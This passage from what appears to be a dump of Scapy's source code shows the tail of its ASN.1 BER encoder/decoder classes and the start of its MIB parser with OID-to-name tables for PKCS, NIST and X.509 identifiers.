unused_bits information is lost after this decoding\n        l, s, t = cls.check_type_check_len(s)\n        if len(s) > 0:\n            unused_bits = orb(s[0])\n            if safe and unused_bits > 7:\n                raise BER_Decoding_Error(\n                    \"BERcodec_BIT_STRING: too many unused_bits advertised\",\n                    remaining=s\n                )\n            fs = \"\".join(binrepr(orb(x)).zfill(8) for x in s[1:])\n            if unused_bits > 0:\n                fs = fs[:-unused_bits]\n            return cls.tag.asn1_object(fs), t\n        else:\n            raise BER_Decoding_Error(\n                \"BERcodec_BIT_STRING found no content \"\n                \"(not even unused_bits byte)\",\n                remaining=s\n            )\n\n    @classmethod\n    def enc(cls, _s, size_len=0):\n        # type: (AnyStr, Optional[int]) -> bytes\n        # /!\\ this is DER encoding (bit strings are only zero-bit padded)\n        s = bytes_encode(_s)\n        if len(s) % 8 == 0:\n            unused_bits = 0\n        else:\n            unused_bits = 8 - len(s) % 8\n            s += b\"0\" * unused_bits\n        s = b\"\".join(chb(int(b\"\".join(chb(y) for y in x), 2))\n                     for x in zip(*[iter(s)] * 8))\n        s = chb(unused_bits) + s\n        return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s\n\n\nclass BERcodec_STRING(BERcodec_Object[str]):\n    tag = ASN1_Class_UNIVERSAL.STRING\n\n    @classmethod\n    def enc(cls, _s, size_len=0):\n        # type: (Union[str, bytes], Optional[int]) -> bytes\n        s = bytes_encode(_s)\n        # Be sure we are encoding bytes\n        return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Type[ASN1_Class]]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[ASN1_Object[Any], bytes]\n        l, s, t = cls.check_type_check_len(s)\n        return cls.tag.asn1_object(s), t\n\n\nclass BERcodec_NULL(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.NULL\n\n    @classmethod\n    def enc(cls, i, size_len=0):\n        # type: (int, Optional[int]) -> bytes\n        if i == 0:\n            return chb(int(cls.tag)) + b\"\\0\"\n        else:\n            return super(cls, cls).enc(i, size_len=size_len)\n\n\nclass BERcodec_OID(BERcodec_Object[bytes]):\n    tag = ASN1_Class_UNIVERSAL.OID\n\n    @classmethod\n    def enc(cls, _oid, size_len=0):\n        # type: (AnyStr, Optional[int]) -> bytes\n        oid = bytes_encode(_oid)\n        if oid:\n            lst = [int(x) for x in oid.strip(b\".\").split(b\".\")]\n        else:\n            lst = list()\n        if len(lst) >= 2:\n            lst[1] += 40 * lst[0]\n            del lst[0]\n        s = b\"\".join(BER_num_enc(k) for k in lst)\n        return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Type[ASN1_Class]]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[ASN1_Object[bytes], bytes]\n        l, s, t = cls.check_type_check_len(s)\n        lst = []\n        while s:\n            l, s = BER_num_dec(s)\n            lst.append(l)\n        if (len(lst) > 0):\n            lst.insert(0, lst[0] // 40)\n            lst[1] %= 40\n        return (\n            cls.asn1_object(b\".\".join(str(k).encode('ascii') for k in lst)),\n            t,\n        )\n\n\nclass BERcodec_ENUMERATED(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.ENUMERATED\n\n\nclass BERcodec_UTF8_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.UTF8_STRING\n\n\nclass BERcodec_NUMERIC_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING\n\n\nclass BERcodec_PRINTABLE_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING\n\n\nclass BERcodec_T61_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.T61_STRING\n\n\nclass BERcodec_VIDEOTEX_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING\n\n\nclass BERcodec_IA5_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.IA5_STRING\n\n\nclass BERcodec_GENERAL_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.GENERAL_STRING\n\n\nclass BERcodec_UTC_TIME(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.UTC_TIME\n\n\nclass BERcodec_GENERALIZED_TIME(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME\n\n\nclass BERcodec_ISO646_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.ISO646_STRING\n\n\nclass BERcodec_UNIVERSAL_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING\n\n\nclass BERcodec_BMP_STRING(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.BMP_STRING\n\n\nclass BERcodec_SEQUENCE(BERcodec_Object[Union[bytes, List[BERcodec_Object[Any]]]]):  # noqa: E501\n    tag = ASN1_Class_UNIVERSAL.SEQUENCE\n\n    @classmethod\n    def enc(cls, _ll, size_len=0):\n        # type: (Union[bytes, List[BERcodec_Object[Any]]], Optional[int]) -> bytes\n        if isinstance(_ll, bytes):\n            ll = _ll\n        else:\n            ll = b\"\".join(x.enc(cls.codec) for x in _ll)\n        return chb(int(cls.tag)) + BER_len_enc(len(ll), size=size_len) + ll\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Type[ASN1_Class]]\n               safe=False  # type: bool\n               ):\n        # type: (...) -> Tuple[ASN1_Object[Union[bytes, List[Any]]], bytes]\n        if context is None:\n            context = cls.tag.context\n        ll, st = cls.check_type_get_len(s)  # we may have len(s) < ll\n        s, t = st[:ll], st[ll:]\n        obj = []\n        while s:\n            try:\n                o, remain = BERcodec_Object.dec(\n                    s, context, safe\n                )  # type: Tuple[ASN1_Object[Any], bytes]\n                s = remain\n            except BER_Decoding_Error as err:\n                err.remaining += t\n                if err.decoded is not None:\n                    obj.append(err.decoded)\n                err.decoded = obj\n                raise\n            obj.append(o)\n        if len(st) < ll:\n            raise BER_Decoding_Error(\"Not enough bytes to decode sequence\",\n                                     decoded=obj)\n        return cls.asn1_object(obj), t\n\n\nclass BERcodec_SET(BERcodec_SEQUENCE):\n    tag = ASN1_Class_UNIVERSAL.SET\n\n\nclass BERcodec_IPADDRESS(BERcodec_STRING):\n    tag = ASN1_Class_UNIVERSAL.IPADDRESS\n\n    @classmethod\n    def enc(cls, ipaddr_ascii, size_len=0):  # type: ignore\n        # type: (str, Optional[int]) -> bytes\n        try:\n            s = inet_aton(ipaddr_ascii)\n        except Exception:\n            raise BER_Encoding_Error(\"IPv4 address could not be encoded\")\n        return chb(int(cls.tag)) + BER_len_enc(len(s), size=size_len) + s\n\n    @classmethod\n    def do_dec(cls, s, context=None, safe=False):\n        # type: (bytes, Optional[Any], bool) -> Tuple[ASN1_Object[str], bytes]\n        l, s, t = cls.check_type_check_len(s)\n        try:\n            ipaddr_ascii = inet_ntoa(s)\n        except Exception:\n            raise BER_Decoding_Error(\"IP address could not be decoded\",\n                                     remaining=s)\n        return cls.asn1_object(ipaddr_ascii), t\n\n\nclass BERcodec_COUNTER32(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.COUNTER32\n\n\nclass BERcodec_COUNTER64(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.COUNTER64\n\n\nclass BERcodec_GAUGE32(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.GAUGE32\n\n\nclass BERcodec_TIME_TICKS(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.TIME_TICKS\n"
  },
  {
    "path": "scapy/asn1/mib.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Acknowledgment: Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nManagement Information Base (MIB) parsing\n\"\"\"\n\nimport re\nfrom glob import glob\nfrom scapy.dadict import DADict, fixname\nfrom scapy.config import conf\nfrom scapy.utils import do_graph\nfrom scapy.compat import plain_str\n\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    Optional,\n    Tuple,\n)\n\n#################\n#  MIB parsing  #\n#################\n\n_mib_re_integer = re.compile(r\"^[0-9]+$\")\n_mib_re_both = re.compile(r\"^([a-zA-Z_][a-zA-Z0-9_-]*)\\(([0-9]+)\\)$\")\n_mib_re_oiddecl = re.compile(\n    r\"$\\s*([a-zA-Z0-9_-]+)\\s+OBJECT[^:\\{\\}]+::=\\s*\\{([^\\}]+)\\}\", re.M)\n_mib_re_strings = re.compile(r'\"[^\"]*\"')\n_mib_re_comments = re.compile(r'--.*(\\r|\\n)')\n\n\nclass MIBDict(DADict[str, str]):\n    def _findroot(self, x):\n        # type: (str) -> Tuple[str, str, str]\n        \"\"\"Internal MIBDict function used to find a partial OID\"\"\"\n        if x.startswith(\".\"):\n            x = x[1:]\n        if not x.endswith(\".\"):\n            x += \".\"\n        max = 0\n        root = \".\"\n        root_key = \"\"\n        for k in self:\n            if x.startswith(k + \".\"):\n                if max < len(k):\n                    max = len(k)\n                    root = self[k]\n                    root_key = k\n        return root, root_key, x[max:-1]\n\n    def _oidname(self, x):\n        # type: (str) -> str\n        \"\"\"Deduce the OID name from its OID ID\"\"\"\n        root, _, remainder = self._findroot(x)\n        return root + remainder\n\n    def _oid(self, x):\n        # type: (str) -> str\n        \"\"\"Parse the OID id/OID generator, and return real OID\"\"\"\n        xl = x.strip(\".\").split(\".\")\n        p = len(xl) - 1\n        while p >= 0 and _mib_re_integer.match(xl[p]):\n            p -= 1\n        if p != 0 or xl[p] not in self.d.values():\n            return x\n        xl[p] = next(k for k, v in self.d.items() if v == xl[p])\n        return \".\".join(xl[p:])\n\n    def _make_graph(self, other_keys=None, **kargs):\n        # type: (Optional[Any], **Any) -> None\n        if other_keys is None:\n            other_keys = []\n        nodes = [(self[key], key) for key in self.iterkeys()]\n        oids = set(self.iterkeys())\n        for k in other_keys:\n            if k not in oids:\n                nodes.append((self._oidname(k), k))\n        s = 'digraph \"mib\" {\\n\\trankdir=LR;\\n\\n'\n        for k, o in nodes:\n            s += '\\t\"%s\" [ label=\"%s\"  ];\\n' % (o, k)\n        s += \"\\n\"\n        for k, o in nodes:\n            parent, parent_key, remainder = self._findroot(o[:-1])\n            remainder = remainder[1:] + o[-1]\n            if parent != \".\":\n                parent = parent_key\n            s += '\\t\"%s\" -> \"%s\" [label=\"%s\"];\\n' % (parent, o, remainder)\n        s += \"}\\n\"\n        do_graph(s, **kargs)\n\n\ndef _mib_register(ident,  # type: str\n                  value,  # type: List[str]\n                  the_mib,  # type: Dict[str, List[str]]\n                  unresolved,  # type: Dict[str, List[str]]\n                  alias,  # type: Dict[str, str]\n                  ):\n    # type: (...) -> bool\n    \"\"\"\n    Internal function used to register an OID and its name in a MIBDict\n    \"\"\"\n    if ident in the_mib:\n        # We have already resolved this one. Store the alias\n        alias[\".\".join(value)] = ident\n        return True\n    if ident in unresolved:\n        # We know we can't resolve this one\n        return False\n    resval = []\n    not_resolved = 0\n    # Resolve the OID\n    # (e.g. 2.basicConstraints.3 -> 2.2.5.29.19.3)\n    for v in value:\n        if _mib_re_integer.match(v):\n            resval.append(v)\n        else:\n            v = fixname(plain_str(v))\n            if v not in the_mib:\n                not_resolved = 1\n            if v in the_mib:\n                resval += the_mib[v]\n            elif v in unresolved:\n                resval += unresolved[v]\n            else:\n                resval.append(v)\n    if not_resolved:\n        # Unresolved\n        unresolved[ident] = resval\n        return False\n    else:\n        # Fully resolved\n        the_mib[ident] = resval\n        keys = list(unresolved)\n        i = 0\n        # Go through the unresolved to update the ones that\n        # depended on the one we just did\n        while i < len(keys):\n            k = keys[i]\n            if _mib_register(k, unresolved[k], the_mib, {}, alias):\n                # Now resolved: we can remove it from unresolved\n                del unresolved[k]\n                del keys[i]\n                i = 0\n            else:\n                i += 1\n\n        return True\n\n\ndef load_mib(filenames):\n    # type: (str) -> None\n    \"\"\"\n    Load the conf.mib dict from a list of filenames\n    \"\"\"\n    the_mib = {'iso': ['1']}\n    unresolved = {}  # type: Dict[str, List[str]]\n    alias = {}  # type: Dict[str, str]\n    # Export the current MIB to a working dictionary\n    for k in conf.mib:\n        _mib_register(conf.mib[k], k.split(\".\"), the_mib, unresolved, alias)\n\n    # Read the files\n    if isinstance(filenames, (str, bytes)):\n        files_list = [filenames]\n    else:\n        files_list = filenames\n    for fnames in files_list:\n        for fname in glob(fnames):\n            with open(fname) as f:\n                text = f.read()\n            cleantext = \" \".join(\n                _mib_re_strings.split(\" \".join(_mib_re_comments.split(text)))\n            )\n            for m in _mib_re_oiddecl.finditer(cleantext):\n                gr = m.groups()\n                ident, oid_s = gr[0], gr[-1]\n                ident = fixname(ident)\n                oid_l = oid_s.split()\n                for i, elt in enumerate(oid_l):\n                    m2 = _mib_re_both.match(elt)\n                    if m2:\n                        oid_l[i] = m2.groups()[1]\n                _mib_register(ident, oid_l, the_mib, unresolved, alias)\n\n    # Create the new MIB\n    newmib = MIBDict(_name=\"MIB\")\n    # Add resolved values\n    for oid, key in the_mib.items():\n        newmib[\".\".join(key)] = oid\n    # Add unresolved values\n    for oid, key in unresolved.items():\n        newmib[\".\".join(key)] = oid\n    # Add aliases\n    for key_s, oid in alias.items():\n        newmib[key_s] = oid\n\n    conf.mib = newmib\n\n\n####################\n#  OID references  #\n####################\n\n#      pkcs1       #\n\npkcs1_oids = {\n    \"1.2.840.113549.1.1\": \"pkcs1\",\n    \"1.2.840.113549.1.1.1\": \"rsaEncryption\",\n    \"1.2.840.113549.1.1.2\": \"md2WithRSAEncryption\",\n    \"1.2.840.113549.1.1.3\": \"md4WithRSAEncryption\",\n    \"1.2.840.113549.1.1.4\": \"md5WithRSAEncryption\",\n    \"1.2.840.113549.1.1.5\": \"sha1-with-rsa-signature\",\n    \"1.2.840.113549.1.1.6\": \"rsaOAEPEncryptionSET\",\n    \"1.2.840.113549.1.1.7\": \"id-RSAES-OAEP\",\n    \"1.2.840.113549.1.1.8\": \"id-mgf1\",\n    \"1.2.840.113549.1.1.9\": \"id-pSpecified\",\n    \"1.2.840.113549.1.1.10\": \"rsassa-pss\",\n    \"1.2.840.113549.1.1.11\": \"sha256WithRSAEncryption\",\n    \"1.2.840.113549.1.1.12\": \"sha384WithRSAEncryption\",\n    \"1.2.840.113549.1.1.13\": \"sha512WithRSAEncryption\",\n    \"1.2.840.113549.1.1.14\": \"sha224WithRSAEncryption\"\n}\n\n#       secsig oiw       #\n\nsecsig_oids = {\n    \"1.3.14.3.2\": \"OIWSEC\",\n    \"1.3.14.3.2.2\": \"md4RSA\",\n    \"1.3.14.3.2.3\": \"md5RSA\",\n    \"1.3.14.3.2.4\": \"md4RSA2\",\n    \"1.3.14.3.2.6\": \"desECB\",\n    \"1.3.14.3.2.7\": \"desCBC\",\n    \"1.3.14.3.2.8\": \"desOFB\",\n    \"1.3.14.3.2.9\": \"desCFB\",\n    \"1.3.14.3.2.10\": \"desMAC\",\n    \"1.3.14.3.2.11\": \"rsaSign\",\n    \"1.3.14.3.2.12\": \"dsa\",\n    \"1.3.14.3.2.13\": \"shaDSA\",\n    \"1.3.14.3.2.14\": \"mdc2RSA\",\n    \"1.3.14.3.2.15\": \"shaRSA\",\n    \"1.3.14.3.2.16\": \"dhCommMod\",\n    \"1.3.14.3.2.17\": \"desEDE\",\n    \"1.3.14.3.2.18\": \"sha\",\n    \"1.3.14.3.2.19\": \"mdc2\",\n    \"1.3.14.3.2.20\": \"dsaComm\",\n    \"1.3.14.3.2.21\": \"dsaCommSHA\",\n    \"1.3.14.3.2.22\": \"rsaXchg\",\n    \"1.3.14.3.2.23\": \"keyHashSeal\",\n    \"1.3.14.3.2.24\": \"md2RSASign\",\n    \"1.3.14.3.2.25\": \"md5RSASign\",\n    \"1.3.14.3.2.26\": \"sha1\",\n    \"1.3.14.3.2.27\": \"dsaSHA1\",\n    \"1.3.14.3.2.28\": \"dsaCommSHA1\",\n    \"1.3.14.3.2.29\": \"sha1RSASign\",\n}\n\n#       nist        #\n\nnist_oids = {\n    \"2.16.840.1.101.3.4.2.1\": \"sha256\",\n    \"2.16.840.1.101.3.4.2.2\": \"sha384\",\n    \"2.16.840.1.101.3.4.2.3\": \"sha512\",\n    \"2.16.840.1.101.3.4.2.4\": \"sha224\",\n    \"2.16.840.1.101.3.4.2.5\": \"sha512-224\",\n    \"2.16.840.1.101.3.4.2.6\": \"sba512-256\",\n    \"2.16.840.1.101.3.4.2.7\": \"sha3-224\",\n    \"2.16.840.1.101.3.4.2.8\": \"sha3-256\",\n    \"2.16.840.1.101.3.4.2.9\": \"sha3-384\",\n    \"2.16.840.1.101.3.4.2.10\": \"sha3-512\",\n    \"2.16.840.1.101.3.4.2.11\": \"shake128\",\n    \"2.16.840.1.101.3.4.2.12\": \"shake256\",\n}\n\n#       thawte      #\n\nthawte_oids = {\n    \"1.3.101.112\": \"Ed25519\",\n    \"1.3.101.113\": \"Ed448\",\n}\n\n#       pkcs3       #\n\npkcs3_oids = {\n    \"1.2.840.113549.1.3\": \"pkcs-3\",\n    \"1.2.840.113549.1.3.1\": \"dhKeyAgreement\",\n}\n\n#       pkcs7       #\n\npkcs7_oids = {\n    \"1.2.840.113549.1.7\": \"pkcs-7\",\n    \"1.2.840.113549.1.7.2\": \"id-signedData\",\n    \"1.2.840.113549.1.7.3\": \"id-envelopedData\",\n}\n\n#       pkcs9       #\n\npkcs9_oids = {\n    \"1.2.840.113549.1.9\": \"pkcs-9\",\n    \"1.2.840.113549.1.9.0\": \"modules\",\n    \"1.2.840.113549.1.9.1\": \"emailAddress\",\n    \"1.2.840.113549.1.9.2\": \"unstructuredName\",\n    \"1.2.840.113549.1.9.3\": \"contentType\",\n    \"1.2.840.113549.1.9.4\": \"messageDigest\",\n    \"1.2.840.113549.1.9.5\": \"signing-time\",\n    \"1.2.840.113549.1.9.6\": \"countersignature\",\n    \"1.2.840.113549.1.9.7\": \"challengePassword\",\n    \"1.2.840.113549.1.9.8\": \"unstructuredAddress\",\n    \"1.2.840.113549.1.9.9\": \"extendedCertificateAttributes\",\n    \"1.2.840.113549.1.9.13\": \"signingDescription\",\n    \"1.2.840.113549.1.9.14\": \"extensionRequest\",\n    \"1.2.840.113549.1.9.15\": \"smimeCapabilities\",\n    \"1.2.840.113549.1.9.16\": \"smime\",\n    \"1.2.840.113549.1.9.17\": \"pgpKeyID\",\n    \"1.2.840.113549.1.9.20\": \"friendlyName\",\n    \"1.2.840.113549.1.9.21\": \"localKeyID\",\n    \"1.2.840.113549.1.9.22\": \"certTypes\",\n    \"1.2.840.113549.1.9.23\": \"crlTypes\",\n    \"1.2.840.113549.1.9.24\": \"pkcs-9-oc\",\n    \"1.2.840.113549.1.9.25\": \"pkcs-9-at\",\n    \"1.2.840.113549.1.9.26\": \"pkcs-9-sx\",\n    \"1.2.840.113549.1.9.27\": \"pkcs-9-mr\",\n    \"1.2.840.113549.1.9.52\": \"id-aa-CMSAlgorithmProtection\"\n}\n\n#     enc algs     #\n\nencAlgs_oids = {\n    \"1.2.840.113549.3.4\": \"rc4\",\n    \"1.2.840.113549.3.7\": \"des-ede3-cbc\",\n}\n\n#       x509       #\n\nattributeType_oids = {\n    \"2.5.4.0\": \"objectClass\",\n    \"2.5.4.1\": \"aliasedEntryName\",\n    \"2.5.4.2\": \"knowledgeInformation\",\n    \"2.5.4.3\": \"commonName\",\n    \"2.5.4.4\": \"surname\",\n    \"2.5.4.5\": \"serialNumber\",\n    \"2.5.4.6\": \"countryName\",\n    \"2.5.4.7\": \"localityName\",\n    \"2.5.4.8\": \"stateOrProvinceName\",\n    \"2.5.4.9\": \"streetAddress\",\n    \"2.5.4.10\": \"organizationName\",\n    \"2.5.4.11\": \"organizationUnitName\",\n    \"2.5.4.12\": \"title\",\n    \"2.5.4.13\": \"description\",\n    \"2.5.4.14\": \"searchGuide\",\n    \"2.5.4.15\": \"businessCategory\",\n    \"2.5.4.16\": \"postalAddress\",\n    \"2.5.4.17\": \"postalCode\",\n    \"2.5.4.18\": \"postOfficeBox\",\n    \"2.5.4.19\": \"physicalDeliveryOfficeName\",\n    \"2.5.4.20\": \"telephoneNumber\",\n    \"2.5.4.21\": \"telexNumber\",\n    \"2.5.4.22\": \"teletexTerminalIdentifier\",\n    \"2.5.4.23\": \"facsimileTelephoneNumber\",\n    \"2.5.4.24\": \"x121Address\",\n    \"2.5.4.25\": \"internationalISDNNumber\",\n    \"2.5.4.26\": \"registeredAddress\",\n    \"2.5.4.27\": \"destinationIndicator\",\n    \"2.5.4.28\": \"preferredDeliveryMethod\",\n    \"2.5.4.29\": \"presentationAddress\",\n    \"2.5.4.30\": \"supportedApplicationContext\",\n    \"2.5.4.31\": \"member\",\n    \"2.5.4.32\": \"owner\",\n    \"2.5.4.33\": \"roleOccupant\",\n    \"2.5.4.34\": \"seeAlso\",\n    \"2.5.4.35\": \"userPassword\",\n    \"2.5.4.36\": \"userCertificate\",\n    \"2.5.4.37\": \"cACertificate\",\n    \"2.5.4.38\": \"authorityRevocationList\",\n    \"2.5.4.39\": \"certificateRevocationList\",\n    \"2.5.4.40\": \"crossCertificatePair\",\n    \"2.5.4.41\": \"name\",\n    \"2.5.4.42\": \"givenName\",\n    \"2.5.4.43\": \"initials\",\n    \"2.5.4.44\": \"generationQualifier\",\n    \"2.5.4.45\": \"uniqueIdentifier\",\n    \"2.5.4.46\": \"dnQualifier\",\n    \"2.5.4.47\": \"enhancedSearchGuide\",\n    \"2.5.4.48\": \"protocolInformation\",\n    \"2.5.4.49\": \"distinguishedName\",\n    \"2.5.4.50\": \"uniqueMember\",\n    \"2.5.4.51\": \"houseIdentifier\",\n    \"2.5.4.52\": \"supportedAlgorithms\",\n    \"2.5.4.53\": \"deltaRevocationList\",\n    \"2.5.4.54\": \"dmdName\",\n    \"2.5.4.55\": \"clearance\",\n    \"2.5.4.56\": \"defaultDirQop\",\n    \"2.5.4.57\": \"attributeIntegrityInfo\",\n    \"2.5.4.58\": \"attributeCertificate\",\n    \"2.5.4.59\": \"attributeCertificateRevocationList\",\n    \"2.5.4.60\": \"confKeyInfo\",\n    \"2.5.4.61\": \"aACertificate\",\n    \"2.5.4.62\": \"attributeDescriptorCertificate\",\n    \"2.5.4.63\": \"attributeAuthorityRevocationList\",\n    \"2.5.4.64\": \"family-information\",\n    \"2.5.4.65\": \"pseudonym\",\n    \"2.5.4.66\": \"communicationsService\",\n    \"2.5.4.67\": \"communicationsNetwork\",\n    \"2.5.4.68\": \"certificationPracticeStmt\",\n    \"2.5.4.69\": \"certificatePolicy\",\n    \"2.5.4.70\": \"pkiPath\",\n    \"2.5.4.71\": \"privPolicy\",\n    \"2.5.4.72\": \"role\",\n    \"2.5.4.73\": \"delegationPath\",\n    \"2.5.4.74\": \"protPrivPolicy\",\n    \"2.5.4.75\": \"xMLPrivilegeInfo\",\n    \"2.5.4.76\": \"xmlPrivPolicy\",\n    \"2.5.4.77\": \"uuidpair\",\n    \"2.5.4.78\": \"tagOid\",\n    \"2.5.4.79\": \"uiiFormat\",\n    \"2.5.4.80\": \"uiiInUrh\",\n    \"2.5.4.81\": \"contentUrl\",\n    \"2.5.4.82\": \"permission\",\n    \"2.5.4.83\": \"uri\",\n    \"2.5.4.84\": \"pwdAttribute\",\n    \"2.5.4.85\": \"userPwd\",\n    \"2.5.4.86\": \"urn\",\n    \"2.5.4.87\": \"url\",\n    \"2.5.4.88\": \"utmCoordinates\",\n    \"2.5.4.89\": \"urnC\",\n    \"2.5.4.90\": \"uii\",\n    \"2.5.4.91\": \"epc\",\n    \"2.5.4.92\": \"tagAfi\",\n    \"2.5.4.93\": \"epcFormat\",\n    \"2.5.4.94\": \"epcInUrn\",\n    \"2.5.4.95\": \"ldapUrl\",\n    \"2.5.4.96\": \"ldapUrl\",\n    \"2.5.4.97\": \"organizationIdentifier\",\n    # RFC 4519\n    \"0.9.2342.19200300.100.1.25\": \"dc\",\n}\n\ncertificateExtension_oids = {\n    \"2.5.29.1\": \"authorityKeyIdentifier(obsolete)\",\n    \"2.5.29.2\": \"keyAttributes\",\n    \"2.5.29.3\": \"certificatePolicies(obsolete)\",\n    \"2.5.29.4\": \"keyUsageRestriction\",\n    \"2.5.29.5\": \"policyMapping\",\n    \"2.5.29.6\": \"subtreesConstraint\",\n    \"2.5.29.7\": \"subjectAltName(obsolete)\",\n    \"2.5.29.8\": \"issuerAltName(obsolete)\",\n    \"2.5.29.9\": \"subjectDirectoryAttributes\",\n    \"2.5.29.10\": \"basicConstraints(obsolete)\",\n    \"2.5.29.14\": \"subjectKeyIdentifier\",\n    \"2.5.29.15\": \"keyUsage\",\n    \"2.5.29.16\": \"privateKeyUsagePeriod\",\n    \"2.5.29.17\": \"subjectAltName\",\n    \"2.5.29.18\": \"issuerAltName\",\n    \"2.5.29.19\": \"basicConstraints\",\n    \"2.5.29.20\": \"cRLNumber\",\n    \"2.5.29.21\": \"reasonCode\",\n    \"2.5.29.22\": \"expirationDate\",\n    \"2.5.29.23\": \"instructionCode\",\n    \"2.5.29.24\": \"invalidityDate\",\n    \"2.5.29.25\": \"cRLDistributionPoints(obsolete)\",\n    \"2.5.29.26\": \"issuingDistributionPoint(obsolete)\",\n    \"2.5.29.27\": \"deltaCRLIndicator\",\n    \"2.5.29.28\": \"issuingDistributionPoint\",\n    \"2.5.29.29\": \"certificateIssuer\",\n    \"2.5.29.30\": \"nameConstraints\",\n    \"2.5.29.31\": \"cRLDistributionPoints\",\n    \"2.5.29.32\": \"certificatePolicies\",\n    \"2.5.29.33\": \"policyMappings\",\n    \"2.5.29.34\": \"policyConstraints(obsolete)\",\n    \"2.5.29.35\": \"authorityKeyIdentifier\",\n    \"2.5.29.36\": \"policyConstraints\",\n    \"2.5.29.37\": \"extKeyUsage\",\n    \"2.5.29.38\": \"authorityAttributeIdentifier\",\n    \"2.5.29.39\": \"roleSpecCertIdentifier\",\n    \"2.5.29.40\": \"cRLStreamIdentifier\",\n    \"2.5.29.41\": \"basicAttConstraints\",\n    \"2.5.29.42\": \"delegatedNameConstraints\",\n    \"2.5.29.43\": \"timeSpecification\",\n    \"2.5.29.44\": \"cRLScope\",\n    \"2.5.29.45\": \"statusReferrals\",\n    \"2.5.29.46\": \"freshestCRL\",\n    \"2.5.29.47\": \"orderedList\",\n    \"2.5.29.48\": \"attributeDescriptor\",\n    \"2.5.29.49\": \"userNotice\",\n    \"2.5.29.50\": \"sOAIdentifier\",\n    \"2.5.29.51\": \"baseUpdateTime\",\n    \"2.5.29.52\": \"acceptableCertPolicies\",\n    \"2.5.29.53\": \"deltaInfo\",\n    \"2.5.29.54\": \"inhibitAnyPolicy\",\n    \"2.5.29.55\": \"targetInformation\",\n    \"2.5.29.56\": \"noRevAvail\",\n    \"2.5.29.57\": \"acceptablePrivilegePolicies\",\n    \"2.5.29.58\": \"id-ce-toBeRevoked\",\n    \"2.5.29.59\": \"id-ce-RevokedGroups\",\n    \"2.5.29.60\": \"id-ce-expiredCertsOnCRL\",\n    \"2.5.29.61\": \"indirectIssuer\",\n    \"2.5.29.62\": \"id-ce-noAssertion\",\n    \"2.5.29.63\": \"id-ce-aAissuingDistributionPoint\",\n    \"2.5.29.64\": \"id-ce-issuedOnBehaIFOF\",\n    \"2.5.29.65\": \"id-ce-singleUse\",\n    \"2.5.29.66\": \"id-ce-groupAC\",\n    \"2.5.29.67\": \"id-ce-allowedAttAss\",\n    \"2.5.29.68\": \"id-ce-attributeMappings\",\n    \"2.5.29.69\": \"id-ce-holderNameConstraints\",\n    # [MS-WCCE] + wincrypt.h\n    \"1.3.6.1.4.1.311.2.1.14\": \"OID_CERT_EXTENSIONS\",\n    \"1.3.6.1.4.1.311.10.3.4\": \"OID_EFS_CRYPTO\",\n    \"1.3.6.1.4.1.311.13.2.1\": \"OID_ENROLLMENT_NAME_VALUE_PAIR\",\n    \"1.3.6.1.4.1.311.13.2.2\": \"OID_ENROLLMENT_CSP_PROVIDER\",\n    \"1.3.6.1.4.1.311.13.2.3\": \"OID_OS_VERSION\",\n    \"1.3.6.1.4.1.311.10.10.1\": \"OID_CMC_ADD_ATTRIBUTES\",\n    \"1.3.6.1.4.1.311.20.2\": \"ENROLL_CERTTYPE\",\n    \"1.3.6.1.4.1.311.21.10\": \"OID_APPLICATION_CERT_POLICIES\",\n    \"1.3.6.1.4.1.311.21.20\": \"OID_REQUEST_CLIENT_INFO\",\n    \"1.3.6.1.4.1.311.21.23\": \"OID_ENROLL_EK_INFO\",\n    \"1.3.6.1.4.1.311.21.24\": \"OID_ENROLL_ATTESTATION_STATEMENT\",\n    \"1.3.6.1.4.1.311.21.25\": \"OID_ENROLL_KSP_NAME\",\n    \"1.3.6.1.4.1.311.21.39\": \"OID_ENROLL_AIK_INFO\",\n    \"1.3.6.1.4.1.311.21.7\": \"OID_CERTIFICATE_TEMPLATE\",\n    \"1.3.6.1.4.1.311.25.1\": \"NTDS_REPLICATION\",\n    \"1.3.6.1.4.1.311.25.2\": \"NTDS_CA_SECURITY_EXT\",\n    \"1.3.6.1.4.1.311.25.2.1\": \"NTDS_OBJECTSID\",\n}\n\ncertExt_oids = {\n    \"2.16.840.1.113730.1.1\": \"cert-type\",\n    \"2.16.840.1.113730.1.2\": \"base-url\",\n    \"2.16.840.1.113730.1.3\": \"revocation-url\",\n    \"2.16.840.1.113730.1.4\": \"ca-revocation-url\",\n    \"2.16.840.1.113730.1.5\": \"ca-crl-url\",\n    